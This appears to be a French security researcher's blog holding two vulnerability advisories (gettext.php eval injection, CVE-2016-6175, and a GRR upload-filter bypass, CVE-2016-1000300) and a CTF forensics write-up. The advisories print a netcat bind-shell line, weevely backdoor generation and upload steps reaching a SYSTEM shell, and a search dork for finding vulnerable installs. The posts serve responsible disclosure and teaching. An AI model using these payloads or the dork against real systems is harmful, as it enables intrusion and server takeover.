2016/07/25

[Advisory] CVE-2016-6175


# Title
gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation

# Date: June 25th, 2016
# Author: kmkz (Bourbon Jean-marie) | @kmkz_security

# Project Homepage: https://launchpad.net/php-gettext/
# Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz
# Version: 1.0.12 (latest release)
# Tested on: Linux Debian, PHP 5.6.19-2+b1

# CVSS: 7.1
# CVE ID: CVE-2016-6175
# OVE ID: OVE-20160705-0004
# OSVDB ID: n/a

# Thanks:
Lars Michelsen from NagVis project where this bug was discovered and Danilo Segan from gettext.php team project for their reactivity and professionalism

# Credits:

# Fixes


gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue

I. APPLICATION

This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system.

This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue.

NagVis is a visualization addon for the well known network managment system Nagios.
NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure.

II. ADVISORY

A possible remote (or local) code execution were identified in the gettext.php file allowing an attacker to gain access on the targeted host system and/or gain application’s privileges throught a specially crafted .mo language file.

The $string variable is not sufficiently sanitized before to be submitted to eval() function (which is dangerous) in select_string() function causing the security issue.

III. VULNERABILITY DESCRIPTION

The gettext_reader() funtion try to test magic number that need to match with .mo files :

$MAGIC1 = "\x95\x04\x12\xde";
$MAGIC2 = "\xde\x12\x04\x95";
If it seems correct then we’ll continue.

We then extract forms from .mo file’s header through get_plural_forms() function and check them with a deprecated (since php 5.3.0 because it can be easily bypassed by adding a Null Byte) eregi() regexp function in order to valid they match the following pattern:
plural-forms: ([^\n]*)\n
(This regular expression matching have no effect on our payload)

Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one.



Here is the impacted code snippet :

snip...
if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))
$expr = $regs[1];
else
$expr = "nplurals=2; plural=n == 1 ? 0 : 1;";

$this->pluralheader = $this→sanitize_plural_expression($expr); // The vulnerable function!!
}
snip…

The comments presents at the beginning of sanitize_plural_expression() function explain that this one is here to prevent the eval() function attacks called later.

Comments are :
/** Sanitize plural form expression for use in PHP eval call.
@access private
@return string sanitized plural form expression**/ 

In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars.

snip...
function sanitize_plural_expression($expr) {
// Get rid of disallowed characters.
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer »
// Add parenthesis for tertiary '?' operator.
$expr .= ';';
$res = '';
$p = 0;
for ($i = 0; $i < strlen($expr); $i++) { // no indentation ?
$ch = $expr[$i];
switch ($ch) {
case '?':
$res .= ' ? (';
$p++;
break;
case ':':
$res .= ') : (';
break;
case ';':
$res .= str_repeat( ')', $p) . ';';
$p = 0;
break;
default:
$res .= $ch;
}
}
return $res;
}
snip...

Code snippet from the vulnerable function that execute eval() on the "sanitized" string :

snip…
$string = $this->get_plural_forms();
$string = str_replace('nplurals',"\$total",$string);
$string = str_replace("n",$n,$string);
$string = str_replace('plural',"\$plural",$string);

$total = 0;
$plural = 0;

eval("$string"); // eval called …. launch my shell baby !
snip…

However, for example (but not only!) we can call system() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it.

A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder.

He now just have to wait or to execute the payload himself to obtain his shell, that’s why this vulnerability is not so harmless !

Note :

Apart from that we could imagine that the attacker transform the $expr variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this :
$expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory

Like a Perl developer could say: « there is more than one way to do it »
IV. PROOF OF CONCEPT

Following PHP code reproduce the exploitation concept base on the 1.0.9 version
(without a crafted .mo file and joined with this advisory).



V. RECOMMENDATIONS

As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators.
Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties.

The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix.


VI. VERSIONS AFFECTED

This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version.
It could affect the a lot of web application and/or many website as long as it will not be updated.

VII. TIMELINE

June 21th, 2016: Vulnerability identification
June 21th, 2016: Nagvis project developers and gettext.php developers notification
June 22th, 2016: Nagvis project developers response
June 25th, 2016: Nagvis Patch release (even if not really affected)
June 27th, 2016: Gettext.php team response (from Danilo Šegan), exchange started
July 5th, 2016: CVE request ID (mitre) and OVE ID request
July 7th, 2016: CVE-2016-6175 attributed by MITRE
July 25th, 2016: Public disclosure

VIII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.


[CVE-2016-6175] gettext.php code execution - PoC example:




2016/03/05

[Write-Up] ESGI CTF 2k16 ForensicGio (Forensic 400)

Salut à tous,
ce jeudi avait lieu le CTF du Security Day 2016 de l'ESGI Paris et auquel notre team sec0d participait enfin du moins ceux qui étaient là :P.

Durant ce CTF nombre de challz ont été poncés mais un en particulier sur lequel j'ai passé un moment me donne envie d'écrire ce write-up car j'avoue l'avoir pas mal apprécié (merci@Sug4r7 de l'avoir concocté).
Allez, allons-y et arrêtons de "blablater" !

Le début du chall débute par la récupération de 2 archives tar.gz.
L'une contenant le chall et l'autre son checksum md5 pour valider de son intégrité, l'objectif pour valider ce chall étant de récupérer un flag ainsi qu'une adresse mail, allez, on se lance!!

Ces fichiers downloadés on check le md5 puis on extract le contenu de l'archive et faisons un "file" dessus afin de déterminer ce à quoi nous avons affaire:

# cat CTF_security_day_2016.tar.gz.md5
2b5dfdabf403b309c35d72b455a96201:CTF_security_day_2016.tar.gz

# md5sum CTF_security_day_2016.tar.gz
2b5dfdabf403b309c35d72b455a96201
L'archive extraitre révèle un format appelé EWF (Expert Witness Compression Format) généré par certains tools de dump de media et/ou partitions tel que ewfacquire sous linux.

Ayant pu identifier la facilité de certains challs présent je tente un "string"
dessus et jouant avec "grep" afin de voir si j'en ressort quelques chose mais .. ce chall n'est pas aussi facile, poursuivons.

Kali Linux possède nativement nombre de tools pour jouer avec les dumps ewf alors je teste  ewfinfo dans une première approche de collecte d'info et, une fois le fichier renommé avec l'extension (.s01) qui va bien, j'obtiens déjà quelques résultat:
ewfinfo CTF_security_day_2016.s01 
ewfinfo 20140608

Acquiry information
        Case number:                1
        Description:                Security Day ESGI 2016 - Level: easy
        Examiner name:              IT Forensic investigator
        Evidence number:            1
        Notes:                      578589-646712-118349-156013-637549-351670-297187-312191
        Acquisition date:           Thu Mar  3 03:17:59 2016
        System date:                Thu Mar  3 03:17:59 2016
        Operating system used:      Linux
        Software version used:      20130416
        Password:                   N/A
        Model:                      DataBar USB2.0

EWF information
        File format:              EnCase 6
        Sectors per chunk:        64
        Error granularity:        64
        Compression method:       deflate
        Compression level:        best compression
        Set identifier:           6e1ec0c6-715f-f848-9119-e59a9b00dcc0

Media information
        Media type:                removable disk
        Is physical:               yes
        Bytes per sector:          512
        Number of sectors:         2015232
        Media size:                984 MiB (1031798784 bytes)

Digest hash information
        MD5:                        fff71a85859a1af7ede437178d701809
        SHA1:                       cf0b504bd9ea6e1b7183c9652ed3a402f12b4551

Ok, première info intéréssante, pour la suite nous allons donc extraire le contenu du dump vers un format plus standard à l'aide de l'outils ewfexport

L'outil une fois lancé demande vers quel format l'extraire etc.. il suffit de laisser cela par défaut puis de donner un nom de fichier une fois qu'il le demander.
Il s'appelera donc "CTF2.raw" pour la suite.

De là je me dis que peut-être serait-il possible de récupérer quelque chose via un peu de file carving, je lance donc un "foremost", hélas son output nous ramène à la raison: non ce ne sera pas aussi simple malgrès le "easy" ci-dessus!!

Foremost started at Fri Mar  4 01:19:56 2016
Invocation: foremost CTF2.raw 
Output directory: /root/Bureau/CTF/ESGI/foren/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: CTF2.raw
Start: Fri Mar  4 01:19:56 2016
Length: 984 MB (1031798784 bytes)
 
Num         Name (bs=512)               Size         File Offset         Comment 

Finish: Fri Mar  4 01:20:12 2016

0 FILES EXTRACTED
        
------------------------------------------------------------------

Foremost finished at Fri Mar  4 01:20:12 2016
Okay okay ... voyons donc voir la table de partition présente sur ce dump grâce à l'outils mmls.

mmls CTF2.raw 

DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

   Slot      Start        End          Length       Description

000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0002015231   0002013184   NTFS / exFAT (0x07)
Une  partition windows semble bien présente, un simple "file" dessus indique même "DOS/MBR Boot Sector" ce qui indique donc que ce serait probablement bootable.
Après quelque manipulations foireuses et bricolages en tout genre, je découvre un tools appelé mbr_parser.py permettant de parser ce type de fichier et d'en remonter certaines infos ce qui permet donc d'affirmer que non, pas bootable :-/

===== Partition Table #1 =====
Boot flag: 0x0 
Partition type: 0x7 (NTFS)
Starting Sector (LBA): 0x800 (2048)
Starting CHS: Cylinder: 0 Head: 32 Sector: 33
Ending CHS: Cylinder: 125 Head: 112 Sector: 51
Size in sectors: 0x1eb800 (2013184)



===== Partition Table #2 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



===== Partition Table #3 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



===== Partition Table #4 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



Valid Signature (0xaa55): True => (0xaa55)

Nous savons alors que ce ne sera pas bootable en l'état, ok, j'ai donc pratiqué à l'extraction de chacune des partition à l'aide de dd en espérant que la bonne partition pourra être montée et que ce sera alors la fin de ce chall.
Nous avions donc obtenu la liste des partitions et pouvions à préent les extraire de ce dump:
    
dd if=CTF2.raw of=CTF2_0.bin bs=512 skip=0 count=1
dd if=CTF2.raw of=CTF2_1.bin bs=512 skip=2048 count=2015231

file *.bin
CTF2_0.bin: DOS/MBR boot sector; partition 1 : ID=0x7, start-CHS (snip)
CTF2_1.bin: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "-FVE-FS-" (snip)
en revanche lors de divers essais, il s'est avéré impossible de monter le volume souhaité sur ma linux, cette partition n'étant visiblement pas "standard".
A partir de la, changement de stratégie.

Le mount ne passant toujours pas en vfat via dd ainsi qu'avec l'outils ewfmount sur le premier dump ewf de l'archive, nous comprenons qu'il faut essayer autre chose.
dd if=CTF2.raw of=new.img count=1 bs=1000MiB
file new.img
new.img: DOS/MBR boot sector; partition 1 (snip)
L'idée sera donc la suivante:
  1. prendre le fichier new.img et le convertir en  vmdk via qemu
  2. rattacher ce vmdk à une machine virtuelle Windows et essayer de monter le volume
C'est la que mon coéquipier Orikata et sa machine sont intervenus!
La converion via Qemu faite:
 /qemu-img convert -f raw -O vmdk /Volumes/xxx/new.img /Volumes/xxx/new.vmdk
il suffit de rattacher le vmdk en tant que volume à une VM Windows puis... SURPRISE!!

  
Un volume Bitlocker!
Voici donc la raison du temps perdu à tenter de le monter en vain sur ma Kali :/.
Ok, à partir de la comment faire pour monter ce volume sans la clef?
Et bien compliqué mais Orikata se rappellant qu'il est possible de monter le container via la clef de récupération via l'onglet "j'ai oublié mon mot de passe"


et que cette dernière est de la forme 8 x 6 chars séparés par des "-".
Nous nous replongeons dans la collecte d'info faites en amont et remarquons quelques chose d'étrange.
Il s'agit d'une note contenue dans les métadata du dump initial ewf et qui n'est sûrement pas le fruit du hasard rappellez-vous de cela:


ewfinfo CTF_security_day_2016.s01 
ewfinfo 20140608

Acquiry information
        Case number:                1
        Description:                Security Day ESGI 2016 - Level: easy
        Examiner name:              IT Forensic investigator
        Evidence number:            1
        Notes:                      578589-646712-118349-156013-637549-351670-297187-312191
        Acquisition date:           Thu Mar  3 03:17:59 2016
        System date:                Thu Mar  3 03:17:59 2016
        Operating system used:      Linux
        Software version used:      20130416
        Password:                   N/A
        Model:                      DataBar USB2.0

Nous tentons alors de pratiquer de cette manière afin de bypasser la clef du Bitlocker et...


Le container nous offre deux fichiers: le 1er contenant juste un peu de texte rappellant les obectifs du challenges, le second quant à lui étant un .psd que l'on s'empresse d'ouvrir sous Gimp ce qui nous permet d'identifier des claques présent cachant un flag dans la bouche d'un espèce de dinosaure.

Image de base avec la bonne promo pour la boite de notre ami @Sug4r7 qui a créer ce chall:


 Les filtres:

Le filtre "code_ctf" attire immédiatement notre attention mais hélas se trouve illisible:

Afin de gagner du temps, je décide donc de lire les métadata du fichier image de base via exiftool et obtient entre autre alors le fameux flag tant désiré.

ExifTool Version Number         : 10.11
File Name                       : CTF_1.info
Directory                       : .
File Size                       : 22 MB
File Modification Date/Time     : 2016:03:03 01:42:37+01:00
File Access Date/Time           : 2016:03:05 15:45:08+01:00
File Inode Change Date/Time     : 2016:03:04 04:33:39+01:00
File Permissions                : rwxrwxrwx
File Type                       : PSD
File Type Extension             : psd
MIME Type                       : application/vnd.adobe.photoshop
Num Channels                    : 3
Image Height                    : 1600
Image Width                     : 2560
Bit Depth                       : 8
Current IPTC Digest             : cdcffa7da8c7be09057076aeaf05c34e
Coded Character Set             : UTF8
Application Record Version      : 0
IPTC Digest                     : cdcffa7da8c7be09057076aeaf05c34e
XMP Toolkit                     : Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00
Document ID                     : adobe:docid:photoshop:8e502fea-e0d3-11e5-88dd-8346bba80fd1
Instance ID                     : xmp.iid:a366f090-0622-9343-b206-ee4e314c205f
Original Document ID            : 54597A271ED407F91E4348F2B8D7EDD3
History Action                  : saved, converted, derived, saved, saved
History Instance ID             : xmp.iid:4e124a83-f328-dd45-bc25-d93c357610c7, xmp.iid:229920ec-c5e4-f34c-84f6-4a06983a49ff, xmp.iid:a366f090-0622-9343-b206-ee4e314c205f
History When                    : 2016:03:03 01:05:46+01:00, 2016:03:03 01:05:46+01:00, 2016:03:03 01:42:37+01:00
History Software Agent          : Adobe Photoshop CC 2014 (Windows), Adobe Photoshop CC 2014 (Windows), Adobe Photoshop CC 2014 (Windows)
History Changed                 : /, /, /
History Parameters              : from image/jpeg to application/vnd.adobe.photoshop, converted from image/jpeg to application/vnd.adobe.photoshop
Derived From Instance ID        : xmp.iid:4e124a83-f328-dd45-bc25-d93c357610c7
Derived From Document ID        : 54597A271ED407F91E4348F2B8D7EDD3
Derived From Original Document ID: 54597A271ED407F91E4348F2B8D7EDD3
Format                          : application/vnd.adobe.photoshop
Color Mode                      : RGB
Text Layer Name                 : code_ctf
Text Layer Text                 : CODE CTF: 20160303_A27R425
Document Ancestors              : 54597A271ED407F91E4348F2B8D7EDD3
Create Date                     : 2016:03:03 00:59:27+01:00
Metadata Date                   : 2016:03:03 01:42:37+01:00
X Resolution                    : 72
Displayed Units X               : inches
Y Resolution                    : 72
Displayed Units Y               : inches
Global Angle                    : 30
Global Altitude                 : 30
Photoshop Thumbnail             : (Binary data 4789 bytes, use -b option to extract)
Has Real Merged Data            : No
Writer Name                     : Adobe Photoshop
Reader Name                     : Adobe Photoshop CC 2014
Exif Byte Order                 : Big-endian (Motorola, MM)
Bits Per Sample                 : 8 8 8
Photometric Interpretation      : RGB
Orientation                     : Horizontal (normal)
Samples Per Pixel               : 3
Resolution Unit                 : inches
Software                        : Adobe Photoshop CC 2014 (Windows)
Modify Date                     : 2016:03:03 01:42:37
Exif Version                    : 0221
Color Space                     : Uncalibrated
Exif Image Width                : 2560
Exif Image Height               : 1600
Compression                     : JPEG (old-style)
Thumbnail Offset                : 386
Thumbnail Length                : 0
Image Size                      : 2560x1600
Megapixels                      : 4.1

CODE CTF: 20160303_A27R425

Malheureusement il ne nous permis pas de valider cette épreuve car sans l'adresse mail du destinataire impossible de le valider.... frustration extême car cela nous pris tout de même pas mal de temps pour au final 0 points!

Cela étant, ça méritait bien un petit write-up ne serait-ce que parcequ'il ne fû validé qu'une seule fois par la team gagnante et que d'autre aimerait sûrement savoir comment il fallait procéder ;-).

Le mail pour sa part ne semblait réèllement pas présent ici, en tout cas pas à notre connaissance et la fin de ce CTF arriva avec pour la sec0d la 5ème place et des cadeaux tout de même obtenus!! :-)

A bientôt pour un prochain writeup ou paper.
kmkz


Quelques liens utiles pour ce challenge Forensic






(en souvenir pour les kewpins: sec0d à la remise des prix)








2016/01/17

[Advisory] CVE-2016-1000300 Vulnérabilité dans GRR <= 3.0.0-RC1

Salut à tous!

Nouvelle année, nouveaux ponçages et comme j'ai l'impression que nombres de vulns encore présentes ne devraient plus l'être depuis longtemps, je me permet un petit retour sur un de mes récents advisory.

En effet, il est question ici d'un cas d'école que j'ai eu le plaisir de découvrir récemment sur un outils de réservation de salles... en fait on pourrait se dire "ouai super.. so what!??"

Mais lorsque cet outil vous permet de pwn une infra lors d'un pentest et de plus est présent sur TOUTES les versions de cette application utilisée par nombre d'institutions notamment FR,  je pense qu'il peut être pertinent d'en parler.

Toutefois  et avant de rentrer dans la vuln + l'advisory lui-même je tiens à remercier les personnes maintenant ce projet open source avec qui j'ai pu échanger afin de permettre de travailler sur un correctif de sécurité qui sera donc backporté et inclu dans la future version de l'application.

Vous trouverez les ressources nécéssaires en fin d'article comme d'habitude sur le blog.

Assez parler place aux détails! :D

Ici tout d'abord le code vulnérable se trouvant dans le fichier "admin/admin_config1.php" du projet GRR ainsi que son lien direct vers pastebin.com:



Bon comme vous pourrez le constater les parties intéréssantes sont déjà commentées expliquant ainsi les grandes lignes de ce qui nous intéresse.
On identifie ici 3 problèmes sur ce code:

1- On peu bypass le filtre d'upload car ce dernier n'effectue qu'un seul test: l'extension!
Ainsi une double extension (backdoor.php.png) permet de contourner cela aisément

2- Ce super script php sorti tout droit des années 90' nous permet de déterminer le noms qu'aura notre backdoor ainsi que son chemin.
En effet, le script va simplement supprimer la seconde extension et comme il effectue un explode() sur notre fichier afin de récupérer ce qui se situe derrière notre ".", il va le renommer en "logo.php" car le 2ème élément du tableau "$tab" sera bel et bien notre extension... php ou autre par ailleurs ;-).

3- Ici c'est la petite touche finale: le fichier sensé être un logo se retrouve "chmod 666"  (RW pour tout le monde) ce qui permet en prime d'obtenir les droits nécéssaires.

En effet, pour peu que les droits soient bien gérés il serait difficile de faire exécuter ce que l'on souhaite, hors la tout est possible, on peux même grâce à cela obtenir des privilèges largements supérieurs à ceux attendus chose que j'ai pu tester et surtout réussir en gagnant ainsi les droits NT Authority\System sur un environnement Microsoft de manière triviale!


Vous l'aurez compris, c'est assez easy à exploiter sous condition toutefois d'avoir des privilèges au départ afin de pouvoir modifier le logo en question (ce qui m'a été possible via une SQLI sur une application tierce mais qui par ailleurs ne me permettait pas d'obtenir de shell... ce qui fût donc réglé grâce au GRR présent).

Je vous laisse ici le soin de lire l'advisory en question ainsi que les différents liens concernant ce dernier.

Ce fût court et assez faiblement technique mais il est vrai que ce genre de vuln existe encore alors autant les étudiers car comem dis en début d'article: ce sont des cas d'écoles que l'on ne devrait même plus trouver hélas!!

================================================================================================= 
Public Advisory

================================================================================================= 


Title: GRR <= 3.0.0-RC1 (all versions) file upload filter bypass (authenficated)  + privilege escalation(in some case)

Date: January 7th, 2016

Vendor Homepage: http://grr.devome.com/fr/

Software Link: GRR project

Dork: inurl:/grr/ intext:réservation intitle:"GRR"

CVSS score: 9.9
OVE ID: OVE-20160705-0044
CVE ID: CVE-2016-1000300


I. APPLICATION
======================================================================================
 

GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.


II. ADVISORY
======================================================================================
 

 
The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.
 
Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element. 
 
This file called for example "logo.jpg" is also "chmoded" as 0666 permission 
and directly accessible in image folder (img_grr by default) by all users.
 
Besides, the application does only a basic conditional php test
on the extension of the uploaded file.
 
It's possible for an attacker to add a second extension that will be 
used when the image will be renamed in order to bypass this basic filter 
(double extension upload filter bypassing).
 
So, a file called backdoor.php.jpg will be renamed as logo.php with 
chmod 0666 permissions and could be used by attacker to gain more privileges 
on the targeted server (privesc due to bad file permissions and RCE).
 
To trigger this vulnerability it is necessary to have an administrator 
account on the GRR application.
 
This vulnerability is a combination of 3 issues:
  1. - predictable uploaded file names and path
  2. - upload of any kind of file
  3. - bad files permission when we upload this file that permit us to gain privilegied access.
 
Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).
 
 
III. PROOF OF CONCEPT
======================================================================================
 

Generate backdoor:
 
    kmkz@Tapz:~#  weevely generate pass123 /tmp/3lrvs.php
    Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size.
    kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg

 
 
Login as admin and upload this new 'logo' > Administration > logo
 
Enjoy your shell!
 
      kmkz@Tapz:~# weevely http://laboratoire.target.fr/images/logo.php pass123
    [+] weevely 3.2.0
 
    [+] Target:    laboratoire.target.fr:F:\server\grr\images
    [+] Session:    /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
    [+] Shell:    System shell

 
    [+] Browse the filesystem or execute commands starts the connection
    [+] to the target. Type :help for more information.
 
    weevely> whoami
    autorite nt\system

 
 
 
IV. RISK
======================================================================================
 

By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.
 
This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may conduce
to  full information system's compromission using pivots techniques and imagination!
 
 
V. VERSIONS AFFECTED
======================================================================================
 

GRR 3.0.0-RC1 is vulnerable (and all previous versions)
 
 
VI. TIMELINE
======================================================================================
 

December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure

======================================================================================


Projet GRR

Git Hub du projet contenant le fix 

Publication de Nicolas Bouteiller (contributeur/dev de la prochaine version GRR)

So now, update your GRR install ;-)

A bientôt pour de nouvelles aventures !!!